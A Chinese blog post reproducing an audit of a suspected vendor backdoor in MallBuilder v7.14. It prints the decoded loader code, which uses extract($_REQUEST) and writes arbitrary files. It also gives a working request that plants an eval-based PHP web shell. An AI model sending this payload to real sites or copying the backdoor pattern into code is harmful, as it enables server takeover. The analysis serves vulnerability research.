代码审计之MallBuilder逻辑后门(复现)

审计对象:MallBuilder 多用户商城管理系统 v7.14 简体中文版
MallBuilder下载地址:http://down.admin5.com/php/98938.html
参考文章:远丰集团旗下CMS疑有官方后门

payload:/mallbuilder/lib/smarty/plugins/modifier.config.php?codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=XiaoZe.php&codelock_masterdata=<?php @eval($_POST[X]);?>

漏洞发生在/lib/smarty/plugins/function.php文件中,经过base64加密过的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?PHP
$codelock_rfiled=dirname(__FILE__);
if ($codelock_file == '')
{
echo "<font face='verdana' size='2'><br><b>Error!</b> You cannot run codelock directly...</font>";
die();
}
else {}
$codelock_lock="好长一串base64加密的php代码";
eval(base64_decode($codelock_lock));
return;
?>
# /lib/smarty/plugins/function.php文件

解密base64代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$codelock_active_key = "loveb2bbuilder";
@extract($_REQUEST);
error_reporting(E_ALL ^ E_NOTICE);
if ($codelock_act >= 1) { } else { @set_time_limit(240); }
if ($codelock_enc == "") { $codelock_enc="codelock.php"; } else {}
if ($codelock_act >= 1) {
$codelock_testsize=@filesize($codelock_filed/$codelock_enc);
if($codelock_testsize != $codelock_mastersize){
@chmod("$codelock_filed/$codelock_enc", 0777);
if (@copy ("$codelock_rfiled/$codelock_enc","$codelock_filed/$codelock_enc")){}
else{
$codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
if ($codelock_fp2) { }
else {
@unlink($codelock_filed/$codelock_enc);
$codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
}
if ($codelock_fp2) {
@fwrite($codelock_fp2, $codelock_masterdata);
@fclose($codelock_fp2);
}
}
@chmod("$codelock_enc", 0777);
......
# /lib/smarty/plugins/function.php文件中$codelock_lock变量base64解密后的代码

解密后立马看到这句代码:@extract($_REQUEST); ,不恰当使用extract()函数通常会导致变量覆盖漏洞,这里正是将用户提交的REQUEST数据全部注册成变量,如果这行代码之后的变量代码未对其赋值,那么这些变量全都可以由用户来操控。

在第七个if语句中,我们可以看到代码将$codelock_masterdata的内容写入$codelock_fp2文件中,而这两个变量完全可以由用户控制。还有一点,$codelock_masterdata变量只在这段base64加密过的代码中出现过,并且未对其赋值,其他地方完全没有使用到,这估计也是为什么作者说疑似官方留的后门了。想要执行这段if语句的逻辑也很好实现,剩下的就是找到调用这个php文件的地方。我们可以使用seay代码审计系统来搜索一下调用该文件的代码。

15

最终,我们发现/lib/smarty/plugins/modifier.config.php文件中调用了,代码如下:

1
2
3
4
5
6
7
8
9
10
<?PHP 
$thisweb_root=substr(dirname(__FILE__), 0, -19);
$codelock_enc="function.php";
$codelock_file="modifier.config.php";
$codelock_frun='';
$codelock_fixpath='';
$codelock_filed=dirname(__FILE__);
include($codelock_filed."/function.php");
return;
?>

访问链接:http://localhost/lib/smarty/plugins/modifier.config.php?codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=shell.php&codelock_masterdata=

/lib/smarty/plugins/目录下将生成shell.php文件,内容为<?php phpinfo();?>

16

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/03/13/代码审计之MallBuilder逻辑后门(复现)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog